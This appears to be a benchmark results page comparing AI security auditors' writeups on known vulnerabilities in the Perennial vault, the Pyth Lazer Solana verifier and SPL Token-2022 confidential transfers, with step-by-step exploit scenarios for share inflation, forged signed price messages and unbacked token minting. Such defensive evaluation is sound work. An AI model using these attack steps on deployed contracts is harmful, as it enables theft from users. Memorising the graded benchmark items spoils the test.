Read the audit report-
ERC-4626 inflation attack on Vault perennial-1 · 4 writeups Critical
V12
Donations can absorb deposits into existing shares
packages/perennial-vault/contracts/Vault.sol:221Predicted severity: High- Root cause
-
Share pricing accepts unaccounted direct token transfers through
asset.balanceOf()without virtual shares or an equivalent inflation defense. Deposits have no minimum realized-share check at the delayed conversion boundary. - Impact
-
In a low-supply vault, a holder can use a direct donation to make another user's deposit mint zero or disproportionately few shares and then recover the contributed assets through redemption. This is a conditional deposit-loss path; market fees, available maker liquidity, and the configured deposit cap constrain the profitable sizes but do not enforce a minimum realized share amount.
- Description
-
_checkpointincludes the vault's raw token balance in the assets snapshot used to price subsequent deposits. An existing holder can transfer assets directly to the vault without receiving additional shares, raising the assets-to-shares ratio while keeping supply small. Neither_updatenor checkpoint settlement checks that a deposit ultimately produces nonzero shares or meets a depositor-specified minimum.CheckpointLib._toSharesconverts at this ratio, permitting a deposit to round down to zero before the account's pending deposit is cleared. The existing holder can subsequently redeem against assets that include both the donation and the absorbed deposit.
Pashov (Claude Opus 5.5 high)
Vault is susceptible to share-price inflation by first depositor / donation
packages/perennial-vault/contracts/types/Checkpoint.sol:55Predicted severity: Low- Root cause
-
Share pricing uses the donation-manipulable balance, with no virtual shares or minimum liquidity.
- Impact
-
Depositors in a freshly launched or nearly empty vault can lose most of their deposit to the attacker.
- Description
-
Checkpoint assets are taken from the vault's raw token balance (
asset.balanceOf()) plus market collateral, and shares are minted withassets.muldiv(shares, selfAssets), rounding down. An attacker holding a tiny share supply can donate tokens directly to the vault and inflate the price per share, so that later deposits round down to (near) zero shares. - Exploit scenario
-
The attacker deposits the minimum into a new vault, redeems all but a dust amount of shares, then transfers a large amount of DSU directly to the vault. A victim's deposit in the next checkpoint mints 0 shares, and the attacker later redeems the dust shares for the victim's funds.
- Recommendation
-
Seed vaults with protocol-owned initial liquidity or burn initial shares, use virtual shares/assets, or track assets internally instead of using
balanceOf.
Pashov (Codex GPT-6 Sol high)
Direct asset donation can make a later vault depositor mint zero shares
audit/packages/perennial-vault/contracts/types/Checkpoint.sol:55Predicted severity: High- Root cause
-
Checkpoint.initialize includes unsolicited asset balance, while _toShares rounds down and Vault.update has no minimum shares output check.
- Impact
-
A depositor can transfer assets without receiving shares; incumbent shareholders can recover those assets by redemption.
- Description
-
An existing shareholder can donate assets directly to the vault before a new checkpoint, raising the share price until a later deposit rounds to zero shares. The shareholder then captures the deposit.
- Exploit scenario
-
An attacker holds all existing shares, donates enough DSU to make assets per share larger than the victim deposit, and the victim deposits into the next checkpoint. The conversion mints zero shares to the victim.
- Recommendation
-
Enforce a caller-supplied minimum share output or reject deposits that convert to zero shares.
Devin Security (Deep)
First-depositor share price inflation: a holder of a tiny share balance can donate assets to the vault and absorb later deposits that round to zero shares
packages/perennial-vault/contracts/Vault.sol:221Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can take over a new or nearly empty vault by leaving themselves one share and then donating tokens, after which the next depositors receive zero shares and their deposits become the attacker's money.
##### What's wrong
This is the classic ERC4626 inflation attack. The vault prices shares from the raw token balance in
Checkpoint.initialize(asset.balanceOf()), mints shares with floor division inCheckpoint._toShares, and has no minimum share count, no virtual shares, and no check that a deposit mints at least one share.##### Who can do it
Acme launches a new vault. Mallory, anyone with a wallet, deposits a small amount, waits one settlement, then redeems all but one share unit. She then transfers a large amount of the asset directly to the vault contract. Alice, the next real depositor, sends her deposit through
update.- The vault's total shares are tiny (a fresh vault or one Mallory has drained to a few share units).
- Mallory's donation is at least as large as the victim's deposit (times the share count she keeps).
- The markets have enough outside maker liquidity that
_maxRedeemlets Mallory redeem her remaining share later.##### What they get
Alice's deposit converts to
floor(deposit * 1 / (donation + 1)), which is zero shares when her deposit is smaller than the donation. Her assets are now owned by the vault's one share, which Mallory holds. Mallory redeems and walks away with her donation plus Alice's full deposit. This repeats for every depositor who sends less than the donation until someone notices. It affects only this vault, but every depositor of this vault is exposed.##### How it works
1. Mallory deposits
2*settlementFee + 1viaVault.update(Vault.sol:204-217); as the first depositor she receives shares at par intoSharesGlobal(Checkpoint.sol:88).2. After settlement she redeems
2*settlementFeeshares (passes the minimum check at Vault.sol:260 because the proceeds exceed the fee) and claims, leavingglobal.shares == 1.3. She transfers a large donation directly to the vault;
Checkpoint.initialize(Checkpoint.sol:55-60, called from Vault.sol:225) and_collateral(Vault.sol:486-490) count it as vault assets, so the checkpoint has 1 share backing donation+1 assets.4. Alice deposits; at settlement
toSharesGlobal(deposit)runs_toShares(Checkpoint.sol:148-151), which computesdeposit.muldiv(1, donation+1)and floors to 0.5. Alice's
processLocal(Account.sol:82-85) credits 0 shares; her tokens remain vault collateral.6. Mallory redeems her single share and receives the whole vault balance, including Alice's deposit.
- Exploit scenario
-
Not specified.
- Recommendation
-
Add protection against inflation: either mint virtual shares/assets (a decimals offset) in
Checkpoint._toShares/_toAssets, or enforce a minimum total share supply (for example lock a small amount of shares at vault initialization) and revert deposits that would mint zero shares. Verify with a test where one user is left with 1 share unit, a large donation is sent to the vault, and a second user deposits; the second user must receive a proportional non-zero share amount (or the deposit must revert).
-
High-volatility ticks can cause bank run due to negative liquidations perennial-2 · 1 writeup High
V12
Self-liquidation pays bonuses from other users' collateral
packages/perennial/contracts/Market.sol:475Predicted severity: High- Root cause
-
Protected liquidation permits a payout exceeding the account's available collateral and uses pooled token reserves as its cap. Maintenance can rise on a maker position with zero economic loss, allowing a coordinated liquidator to monetize the resulting eligibility.
- Impact
-
Under allowed liquidation-rate and maximum-fee settings, self-liquidation can transfer collateral belonging to other accounts to the position controller. Repeating across positions creates account shortfalls funded by the shared market balance rather than a loss imposed on the controller.
- Description
-
Liquidation eligibility depends on position maintenance at the latest price, but the liquidation payout is capped by the entire market token balance rather than the account's positive collateral. A maker with no matching taker exposure can become liquidatable after a price rise without incurring offsetting P&L. The account controller can then liquidate that position through its own or another controlled address and withdraw more than the position's deposited collateral. Protected updates bypass the ordinary negative-collateral withdrawal check, leaving the excess payout as debt on the emptied account. This is distinct from price-movement bad debt because the payout itself can create the shortfall on an otherwise zero-P&L position.
- Markets missing slippage protection perennial-3 Medium
-
-
Pyth Lazer Solana Rust Pyth Lazer oracle Solana program. Tasks 1 V12 1/1 Codex Sec 1/1 Pashov Opus — Pashov GPT-6 — Devin 1/1 Devin (Deep) 1/1 Claude Sec 1/1 Claude Opus 1/1 Vercel 1/1
Pyth Lazer oracle Solana program.
Read the audit report-
Signature bypass pyth-lazer-solana-1 · 7 writeups Critical
V12
Signed Bytes Diverge From Returned Payload
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/lib.rs:192Predicted severity: High- Root cause
-
The verifier treats caller-provided
message_offsetas proof that raw current-instruction bytes and the separately deserializedmessage_dataare identical. It validates only offset metadata, then consumesmessage_datawithout comparing it to the byte range actually checked by the ed25519 program. - Impact
-
A caller can obtain a successful verification result for oracle payload bytes that no trusted Lazer signer signed. Any on-chain CPI consumer that relies on the returned
VerifiedMessagefor price-dependent state transitions can consequently act on attacker-selected prices or metadata; the exact downstream asset loss depends on the external consumer, which is outside the searched component boundary. - Description
-
verify_messagebinds the ed25519 offset table to the transaction's current top-level instruction index, but it extracts the allegedly verified key and payload from the separately suppliedmessage_datavector. During CPI, the instructions sysvar still identifies the caller's top-level instruction, so an attacker-controlled caller program can place a genuine trusted-signer envelope in its own instruction data while passing a different envelope of the same declared payload length asmessage_data. The offset checks establish only that the genuine bytes occupy the expected absolute positions in the caller instruction; they never load those raw bytes or compare them with the vector later consumed. The counterfeit vector can contain the correct magic and a configured signer key but an arbitrary same-length payload, and the function returns that arbitrary payload asVerifiedMessage. The same mismatch is also reachable by a direct instruction if Anchor accepts trailing serialized bytes, but CPI is sufficient and does not depend on that deserialization detail.
Codex Security (GPT-6 Sol)
A caller can present forged oracle payload as a verified message
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:208Predicted severity: High- Root cause
-
The verifier assumes the caller-provided message_offset marks the start of message_data. It checks Ed25519 offsets using that absolute value, then subtracts the same value to parse bytes from the start of message_data. It never loads the current instruction bytes or checks that the authenticated region equals the parsed region.
- Impact
-
An unprivileged caller can bypass oracle signature authenticity and supply arbitrary price data to consumers; a transaction with a genuine signed envelope and a forged envelope suffices.
- Description
-
verify_messageaccepts caller-chosenmessage_dataandmessage_offset; the Ed25519 instruction verifies bytes at the chosen absolute offset, while the contract returns key and payload bytes parsed from the beginning ofmessage_datawithout comparing the two regions. - Exploit scenario
-
Caller message_data and offset -> Ed25519 metadata check -> relative parse of different message_data bytes -> VerifiedMessage
- Recommendation
-
Require message_offset to identify the serialized start of message_data and compare the authenticated instruction bytes with the parsed envelope; reject any mismatch before returning VerifiedMessage.
Devin Security
verify_message checks a signature over one set of bytes but returns a different, unsigned public key and payload
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:208Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone with a Solana wallet can make the Lazer program report an attacker-written price message as verified and signed by a trusted Pyth signer, so every program that relies on
verify_messagecan be fed fake prices.##### What's wrong
This is a signature-verification bypass caused by a mismatch between the checked bytes and the used bytes. The program checks that the ed25519 instruction points at offsets derived from the caller-supplied
message_offsetin the current instruction data. It never checks that those offsets are wheremessage_dataactually sits. It then reads the public key and payload out ofmessage_data, which the ed25519 program never verified.##### Who can do it
Alice runs a lending protocol at Acme Corp that calls the Lazer
verify_messageinstruction through CPI and trusts the returned payload as a Pyth price. Mallory has an ordinary Solana wallet. Mallory builds one transaction with an ed25519 instruction and a call into the Lazer program (or into Alice's program). Themessage_datashe passes holds a forged message with the trusted Pyth signer's public key and her chosen price. Somewhere else in the same instruction data she places a second message that she signed with her own keypair, and she setsmessage_offsetto point at that second copy.- Mallory only needs to send a transaction and pay the 1 lamport fee.
- She needs to know a currently trusted signer public key, which is public in the storage account.
- Her forged payload must have the same length as the payload she signed herself, which she controls.
##### What they get
The program returns
VerifiedMessage { public_key: <trusted Pyth signer>, payload: <Mallory's bytes> }. Mallory can set any price, timestamp, or feed in that payload. Any protocol that consumes Lazer prices through this program can be drained, for example by borrowing against an inflated collateral price or by triggering liquidations with a crashed price. This affects every integrator of the program, not one customer.##### How it works
1. Mallory puts an ed25519 instruction earlier in the transaction whose offsets point at
message_offset+4,message_offset+68andmessage_offset+102in the Lazer instruction, where she placed a message signed by her own key. The ed25519 program verifies it successfully.2.
verify_messagein signature.rs:208-259 only compares the ed25519 offsets to values computed frommessage_offsetand checks they reference the current instruction. It never checks thatmessage_offsetis the real position ofmessage_data(12 bytes after the start for a direct call).3. At signature.rs:215 and 249, the magic and size are read from
message_data, the forged copy, which Mallory fills to match.4. At signature.rs:261-281, the public key used for the trusted-signer check is read from the forged
message_data, so the trusted Pyth key passes.5. At signature.rs:283-298, the returned payload is also read from the forged
message_data, so the caller receives Mallory's unsigned bytes as a verified message. - Exploit scenario
-
Not specified.
- Recommendation
-
Bind the verified bytes to the returned bytes. Load the current instruction from the instructions sysvar and check that
instruction.data[message_offset .. message_offset + message_data.len()] == message_data(with bounds checks) before trusting any field. Also check thatoffsets.message_data_sizeplus header fits insidemessage_data. A simpler alternative is to read the public key and payload directly from the current instruction data at the verified offsets instead of frommessage_data. Add a test that places a self-signed message after a forgedmessage_datathat names a trusted key, setsmessage_offsetto the self-signed copy, and asserts the call fails.
Devin Security (Deep)
verify_message never checks that message_offset points at message_data, so an attacker can get a trusted-signer attestation for an unsigned payload
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:160Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who can send a Solana transaction can make the Pyth Lazer receiver return a "verified" price message that carries a trusted Pyth signer key but a payload the attacker wrote, and any program that forwards the caller-supplied
message_offsetto this contract will accept forged prices.##### What's wrong
This is a signature verification bypass caused by a missing binding check. The contract proves that the ed25519 precompile verified some bytes at
message_offsetinside the current top-level instruction, but it reads the public key and payload frommessage_data, a separate argument, and it never checks thatmessage_datais actually the bytes that sit atmessage_offset.##### Who can do it
Alice runs Acme Lending, a Solana protocol that prices collateral with Pyth Lazer. Acme's program copies the pattern of the Lazer
verify_messageinstruction and lets the transaction specifymessage_offset, then forwards it in the CPI call. Mallory, an attacker with nothing but a funded Solana wallet, builds one transaction with an ed25519 precompile instruction and a call into Acme. She setsmessage_offsetto point at a region she signed with her own key, and places a real Pyth signer key plus a fake price in themessage_dataargument. The Lazer contract returns aVerifiedMessagewith the Pyth key and her fake price.Conditions that must hold:
- The attacker can submit a transaction to the cluster where the Lazer receiver is deployed (no account or signer status needed beyond paying fees).
- The attacker knows a current trusted signer public key. This is public data in the
storageaccount.- For on-chain impact, an integrating program must pass
message_offsetthrough from its own instruction arguments, or otherwise pass a value that does not equal the real position ofmessage_datain its instruction data. A direct call to the Lazerverify_messageinstruction is forgeable with no further condition, but its result is only visible as return data.This is CRITICAL if any deployed integrator forwards
message_offsetfrom untrusted input. The repository does not contain integrator code, so this cannot be confirmed here.##### What they get
Mallory can make a Lazer-integrated protocol believe any price she wants for any feed, as if Pyth had signed it. Against a lending protocol she can borrow against worthless collateral or liquidate healthy positions and take the users' deposits. She can repeat this against every protocol that forwards
message_offset. She cannot change the trusted signer list or the Lazer storage account itself, and she cannot fool an integrator that hard-codes the correct offset.##### How it works
1. Mallory builds instruction 0 as an ed25519 precompile call whose offsets table entry says: signature at
mo+4, public key atmo+68, message atmo+102with sizeS, all in instruction 1 (signature.rs:26-43describes this table).2. She builds instruction 1 as a call to
verify_message(lib.rs:192-198) withmessage_datalaid out as: Pyth magic at bytes 0..4, a real trusted Pyth signer key at bytes 68..100, sizeSat bytes 100..102, her fake payload at bytes 102..102+S, and after that her own signature, her own public key, and a message she signed with her own key.3. She sets
message_offsetto 12 plus the distance to her own region, so the precompile offsetsmo+4,mo+68,mo+102land on her signature, her key, and her message. The precompile verifies that signature successfully before the transaction runs.4. The contract checks only that the precompile offsets equal
message_offsetplus fixed constants (signature.rs:208-236) and that the offsets refer to the current top-level instruction (signature.rs:254-259). It never loads the current instruction and compares its bytes atmessage_offsetwithmessage_data.5. The contract reads the public key from
message_data[68..100](signature.rs:261-271) and finds the trusted Pyth key, then reads the payload frommessage_data[102..](signature.rs:283-293) and returns it as verified (signature.rs:295-298).6. The test file shows the intended but unenforced invariant:
message_offsetis hard-coded to 12 because that is wheremessage_datareally starts in the Anchor-encoded instruction (tests/test1.rs:109-110). - Exploit scenario
-
Not specified.
- Recommendation
-
Inside
signature::verify_message, load the current top-level instruction withsysvar::instructions::load_instruction_at_checked(self_instruction_index, instructions_sysvar)and require thatself_instruction.data[message_offset .. message_offset + message_data.len()]equalsmessage_data(return a newMessageDataMismatcherror otherwise, and returnInvalidMessageOffsetif the range is out of bounds). Alternatively, drop themessage_offsetargument entirely and derive the public key and payload directly from the current instruction's bytes at the offsets the precompile verified. Also update the doc comments onlib.rs:190andsignature.rs:158to make the binding explicit.To check the fix, add a test that builds the transaction from
test1.rs::verify_messagebut passesmessage_offset = 12 + 200with the attacker's own signature, key and message placed 200 bytes intomessage_dataand a trusted key atmessage_data[68..100]; the instruction must fail. The existingtest_basicwithmessage_offset = 12must still pass.
Claude Security (Sonnet 5.5)
verify_message trusts caller-supplied message_data instead of the bytes the ed25519 program actually verified, allowing forged Lazer messages
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:270Predicted severity: Critical- Root cause
-
Vulnerable symbol: verify_message
Preconditions: At least one trusted signer is configured and not expired in Storage, which is the normal operating state.; The attacker can submit a transaction containing an ed25519 instruction followed by verify_message, or can drive a consumer program that forwards user-supplied message_data and message_offset in its CPI to verify_message.
Offending code:
&message_data[start..end]
- Impact
-
Anyone can make
verify_messagereturn a VerifiedMessage with a trusted Pyth Lazer signer's public key and an arbitrary payload, such as fabricated prices, without holding any trusted key. They pay only the 1 lamport fee. Any on-chain consumer that relies on the returned VerifiedMessage can then be fed attacker-chosen price data. That enables oracle manipulation, theft from lending and perps protocols, and forced liquidations. - Description
-
The untrusted
message_datainstruction argument is the sole source of the public key (line 270), the trusted-signer check (line 275-279) and the returned payload (line 292). The code only compares the offsets in the ed25519 instruction againstmessage_offset. It never checks thatmessage_dataequals the bytes of the current instruction data atmessage_offset, which are the bytes the ed25519 program verified. - Exploit scenario
-
1. Read the trusted signer pubkey T from the public Storage PDA account.
2. Generate an attacker ed25519 keypair K and sign an arbitrary S-byte message with it.
3. Build a transaction with instruction 0 = ed25519 program, carrying one Ed25519SignatureOffsets entry whose three instruction indices all point to the verify_message instruction (index 1). Signature, pubkey, size and message offsets are O+4, O+68, O+100/O+102 and S, where O is a chosen message_offset (for example just past the Borsh args, or inside the tail of a longer message_data Vec). Those bytes are placed in instruction 1's data and hold K's real signature, K's pubkey and the S-byte message.
4. Instruction 1 = verify_message with
message_offset = O.message_datais a forged buffer laid out as the code indexes it relative to message_offset: SOLANA magic (LE 0x821a01b9), 64 arbitrary signature bytes, the trusted pubkey T, the 2-byte LE size S, then S bytes of attacker-chosen payload.5. The ed25519 program accepts the transaction, because it validates K's signature at the absolute offsets. verify_message passes every offset and size comparison, reads magic, size and pubkey T from the forged
message_data, finds T in the trusted list, and returns the forged payload.Anchor 0.30.1 deserializes instruction args with
deserialize, which ignores trailing bytes. A Vec tail would work in any case. - Recommendation
-
Bind
message_datato the verified bytes. Load the current instruction withload_instruction_at_checked(self_instruction_index). Require thatcurrent.data[message_offset .. message_offset + message_data.len()]equalsmessage_data, or derive public key, size and payload directly from the current instruction data at the verified offsets instead of from the separate argument. Also compare the public key atoffsets.public_key_offsetin the current instruction data with the trusted signer. Add explicit length checks onmessage_data(at least 4 + 64 + 32 + 2 + size) to return clean errors instead of panicking on slice indexing at lines 215, 249, 270 and 292.
Claude Security (Opus 5.5)
verify_message reads the signer pubkey and payload from the caller's message_data, not from the bytes ed25519 checked, so anyone can forge trusted messages
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:270Predicted severity: Critical- Root cause
-
Vulnerable symbol: verify_message
Preconditions: At least one trusted signer is configured and not expired (normal operating state); The attacker pays the 1-lamport fee and a transaction fee
Offending code:
&message_data[start..end]
- Impact
-
The signature check is bypassed completely. Any unprivileged user can make the contract certify any Pyth Lazer payload (prices, timestamps) as signed by the trusted Pyth signer. Programs that CPI into verify_message and trust the returned VerifiedMessage can be fed forged oracle prices. That enables price manipulation and theft of funds from any integrating DeFi protocol (lending liquidations, swaps, perps).
- Description
-
message_datais an Anchor argument fully chosen by the caller. The program only checks that the ed25519 instruction's offsets equalmessage_offset + constand that the instruction indexes match the current one. It never checks thatmessage_dataequals the bytes of the current instruction atmessage_offset, which are the only bytes the ed25519 precompile verified. The trusted-signer pubkey (line 270) and the payload (line 292) that come back asVerifiedMessageare therefore never covered by any signature check. - Exploit scenario
-
The attacker builds a transaction with two instructions. ix0 is ed25519_program with one offsets struct: sig=M+4, pk=M+68, msg=M+102, size=S, all instruction indexes = 1. ix1 is lazer verify_message with message_data = FAKE || REAL. FAKE = magic || 64 junk bytes || TRUSTED_PUBKEY || u16 S || attacker-chosen price payload (S bytes). REAL = magic || attacker_sig || attacker_pubkey || u16 S || S bytes signed with the attacker's own key. The attacker sets message_offset = M = 12 + len(FAKE), and ed25519_instruction_index=0, signature_index=0. The ed25519 precompile checks REAL, which is a valid signature by the attacker's key. The program checks offsets against M, reads magic, size, pubkey and payload from FAKE, finds TRUSTED_PUBKEY in storage, and returns VerifiedMessage{public_key: TRUSTED_PUBKEY, payload: forged}. Trailing instruction bytes, which Anchor ignores, work too. Under CPI it is even simpler: self_instruction_index is the outer top-level instruction, so the attacker signs bytes in that outer instruction's data and passes any message_data through the consumer.
- Recommendation
-
Bind the verified bytes to the returned data. Load the current instruction (load_instruction_at_checked(self_instruction_index)) and require
instruction.data[message_offset..message_offset+message_data.len()] == message_data, or better, read magic, pubkey, size and payload directly from the instruction data at the offsets the ed25519 instruction used, and drop the separate message_data argument. Also check thatinstruction.program_id == crate::ID, and handle or reject CPI calls, where the current index refers to the outer instruction. Add bounds checks on message_data length so short input returns an error instead of panicking.
Vercel Security Review
Caller-controlled message offset separates verified bytes from returned payload
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/lib.rs:194Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Caller controls both data and its alleged location** -
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/lib.rs:194-197```rust title="lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/lib.rs:194-197"
message_data: Vec<u8>,
ed25519_instruction_index: u16,
signature_index: u8,
message_offset: u16,
```
An unprivileged caller can concatenate a forged frame and a genuine signed frame with matching key and payload length, pointing
message_offsetat the latter.**2. Offsets are checked against that assertion** -
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:208-211```rust title="lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:208-211"
let expected_signature_offset = message_offset
.checked_add(MAGIC_LEN)
.ok_or(SignatureVerificationError::MessageOffsetOverflow)?;
if offsets.signature_offset != expected_signature_offset {
```
The new verifier never binds this offset to the parsed vector's start. Ed25519 validates the genuine frame.
**3. Different bytes become authenticated output** -
lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:289-292```rust title="lazer/contracts/solana/programs/pyth-lazer-solana-contract/src/signature.rs:289-292"
let end = start
.checked_add(expected_message_size.into())
.ok_or(SignatureVerificationError::MessageOffsetOverflow)?;
&message_data[start..end]
```
Subtracting
message_offsetmakesstartalways 102 within the first frame. Its forged payload is returned asVerifiedMessage, bypassing oracle authenticity without a signing key. - Exploit scenario
-
Not specified.
- Recommendation
-
Bind the exact parsed message bytes to the bytes verified by Ed25519. For direct calls enforce the actual serialized vector offset; for CPI-supported flows load the referenced top-level instruction and compare the referenced key, signature and payload bytes to message_data. Reject any mismatch instead of trusting a caller-supplied location.
-
-
SPL Token Rust SPL-Token program — Solana token standard. Tasks 3 V12 3/3 Codex Sec 0/3 Pashov Opus — Pashov GPT-6 — Devin 2/3 Devin (Deep) 1/3 Claude Sec 1/3 Claude Opus 3/3 Vercel 1/3
SPL-Token program — Solana token standard.
Read the audit report-
Missing check in process_transfer leading to inflationary bug spl-token-1 · 5 writeups Critical
V12
Transfer proofs are not bound to live balances
token/program-2022/src/extension/confidential_transfer/processor.rs:129Predicted severity: High- Root cause
-
process_source_for_transferauthenticates the configured encryption key but does not authenticate the live source balance against the transfer proof's balance statement. Both transfer branches discard the proof balance context before mutating account balances. - Impact
-
The source-backed path permits repeated recipient credits without an accompanying check that the live source balance supports each debit; encrypted subtraction alone does not enforce nonnegative token accounting. Inference: a holder can reuse a valid transfer proof to accumulate redeemable recipient balances beyond their original holdings, causing token inflation and losses to holders or systems accepting those tokens; the external SDK proof implementation and a runtime reproduction were not available in the searched repository, so this is a raw candidate rather than a completed exploit.
- Description
-
The confidential-transfer source helper checks the account owner, mint, approval, and configured encryption public key, but never binds the verified transfer proof's balance statement to the source account's current
available_balance.process_transferextracts the transfer amount ciphertexts fromTransferDataand the helper subtracts them from whatever balance is currently stored. The client constructs those proofs using an explicit source balance and source balance ciphertext, so the proof and the live balance are distinct inputs that require reconciliation. Reusing an otherwise-valid proof after spending, or using it against another account configured with the same encryption public key, therefore passes the visible source checks even when the live source balance differs. This downstream consumer makes encryption-key reuse across configured accounts a value-accounting boundary rather than merely an account-configuration choice.
Devin Security (Deep)
Confidential Transfer never checks the proven new source balance, so anyone can send tokens they do not have
token/program-2022/src/extension/confidential_transfer/processor.rs:663Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone holding two confidential token accounts on a mint can create up to about 281 trillion base units of that token out of nothing per transaction, repeatedly, and then withdraw them as ordinary spendable tokens.
##### What's wrong
This is a missing proof-binding check. The zero-knowledge transfer proof only proves that a ciphertext the sender supplies (
new_source_ciphertext) holds a non-negative balance. The program is supposed to confirm that this ciphertext equals the balance it computes on chain (current balance minus the transfer amount).process_source_for_transfercomputes the new balance and stores it, but never compares it toproof_data.new_source_ciphertext, and no code in the program reads that field at all. The on-chain balance can therefore go negative without the proof ever covering it.##### Who can do it
Alice at Acme Corp issues a token on Token-2022 with the confidential transfer extension turned on. Mallory, an ordinary user with a wallet, opens two token accounts for that mint, configures both for confidential transfers, and gets them approved (automatic on most mints). She builds a transfer proof using a made-up starting balance of 2^48 - 1 and a freshly encrypted ciphertext for that number instead of her real on-chain balance of zero, then submits the proof instruction followed by a
Transferfrom her first account to her second account.- Mallory owns two token accounts for the target mint that have the confidential transfer extension and are approved.
- The ZK token proof program is active on the cluster, which is required for any confidential transfer to work at all.
- The mint is not marked non-transferable.
##### What they get
Mallory's second account is credited with a pending balance of 2^48 - 1 tokens that were never minted. She runs
ApplyPendingBalance, thenWithdrawwith a correct proof (she knows the true value of her balance) and now holds 2^48 - 1 freely spendable public tokens of Acme's mint. She can repeat this in every transaction. She can sell the tokens, drain any liquidity pool, or send them to anyone. Every holder of Acme's token loses value, and Acme's mint supply number no longer reflects the tokens in circulation. The same attack works on every Token-2022 mint that has confidential transfers enabled.##### How it works
1. Mallory calls
TransferData::new(orTransferWithFeeData::new) with her real ElGamal keypair, a fabricated(spendable_balance, spendable_ciphertext)pair, and amount 2^48 - 1; the proof program accepts it because all values are self-consistent.2.
process_transferintoken/program-2022/src/extension/confidential_transfer/processor.rs:568-598decodes the proof and checks only the auditor pubkey, then passes the source pubkey and the amount ciphertexts toprocess_source_for_transfer;new_source_ciphertextis never read.3.
process_source_for_transferat lines 663-672 subtracts the amount ciphertexts from the account's real available balance (zero) and stores the result, which now encrypts a negative number, with no comparison to the proven ciphertext.4.
process_destination_for_transferat lines 714-744 adds the full amount to the second account's pending balance.5.
process_apply_pending_balanceat lines 808-813 moves the pending amount into the available balance.6.
process_withdrawat lines 422-436 accepts Mallory's valid withdraw proof for the real value and adds 2^48 - 1 totoken_account.base.amount, creating spendable tokens from nothing. - Exploit scenario
-
Not specified.
- Recommendation
-
Pass
&proof_data.new_source_ciphertextintoprocess_source_for_transferon both the fee and non-fee paths, and returnTokenError::ConfidentialTransferBalanceMismatchwhennew_source_available_balance != *new_source_ciphertextbefore storing the new balance. To verify: write a program test that builds aTransferDatafrom a fabricated balance/ciphertext pair that differs from the on-chain ciphertext (for example, a transfer amount greater than the real balance) and assert theTransferinstruction fails withConfidentialTransferBalanceMismatch, while a transfer built from the real on-chain ciphertext still succeeds.
Claude Security (Sonnet 5.5)
Confidential Transfer / TransferWithFee never binds the ZK proof's new source ciphertext to the on-chain available balance, allowing transfers beyond balance (token inflation)
token/program-2022/src/extension/confidential_transfer/processor.rs:672Predicted severity: Critical- Root cause
-
Vulnerable symbol: process_source_for_transfer
Preconditions: Mint has the ConfidentialTransferMint extension (default
zk-opsfeature enabled); Attacker owns a source and a destination token account configured for confidential transfers and approved (auto-approve or by authority)Offending code:
confidential_transfer_account.available_balance = new_source_available_balance;
- Impact
-
Unbounded creation of spendable tokens for any mint that enables confidential transfers: total supply invariants break, holders and liquidity pools are diluted or drained, and the confidentiality soundness guarantee (no spending more than balance) is void. Loss of funds for all users of the affected mint.
- Description
-
The attacker-supplied VerifyTransfer / VerifyTransferWithFee proof instruction (decoded in process_transfer) is only checked for pubkeys and fee parameters; the on-chain available_balance minus the transfer ciphertexts is committed to account state without being compared to the source ciphertext the proof's equality and range proofs were built against, so the range proof proves nothing about the real balance. Also CWE-20: The attacker-supplied proof context (read from the instructions sysvar in process_transfer) is only used for its lo/hi transfer ciphertexts. The proof's post-transfer source ciphertext is never compared with the program-computed
available_balance - amount, and no function parameter carries it. The program then stores the self-computed ciphertext as the source's new available balance, so the 'remaining balance >= 0' range proof is never tied to the real account state. Also CWE-863: The proof instruction content (TransferData / TransferWithFeeData, generated client-side from a caller-supplied balance ciphertext, see token/client TransferData::new(amount, (balance, balance_ciphertext), ...)) is the only evidence that the source can afford the transfer, yet process_source_for_transfer computes ops::subtract_with_lo_hi(available_balance, lo, hi) and stores it without comparing the result to the source ciphertext certified by the proof; only the pubkey, auditor and fee-parameter fields of the proof are checked, so a proof built over a fabricated balance is accepted for any real account. - Exploit scenario
-
The attacker owns confidential account A (available balance 0) and account B. They build TransferData::new(amount, (fake_balance, fake_ciphertext), keypair_A, (pubkey_B, auditor)) where fake_ciphertext is an ElGamal encryption of a large balance under A's own key. The proof is internally consistent (new source ciphertext = fake ciphertext - amount, equality proof and 64-bit range proof over the fake remainder) so the zk-token-proof program accepts VerifyTransfer. process_transfer only compares source/destination/auditor pubkeys (lines 573-577, 659, 709), subtracts the transfer ciphertexts from A's real zero balance (wrapping the encrypted balance negative) and credits B's pending balance with up to 2^48-1 units. The attacker runs ApplyPendingBalance on B, then Withdraw on B (whose proof is bound to B's real balance), which does token_account.base.amount += amount without any matching supply or backing. Repeating this mints unbacked tokens that can be moved to the public balance and sold or drained from pools. The same missing binding also permits replaying one proof instruction across several Transfer instructions in a transaction.
- Recommendation
-
Make process_source_for_transfer take the proof's new source ciphertext (TransferData::new_source_ciphertext / TransferWithFeeData equivalent) as a parameter from both branches of process_transfer. After computing new_source_available_balance, reject with TokenError::ConfidentialTransferBalanceMismatch unless it equals that ciphertext, before writing it to account state. Add a negative test that spends more than the on-chain balance with a forged spendable ciphertext. Also CWE-20: Pass the proof's post-transfer source ciphertext (new_source_ciphertext in TransferData / TransferWithFeeData) into process_source_for_transfer. After computing
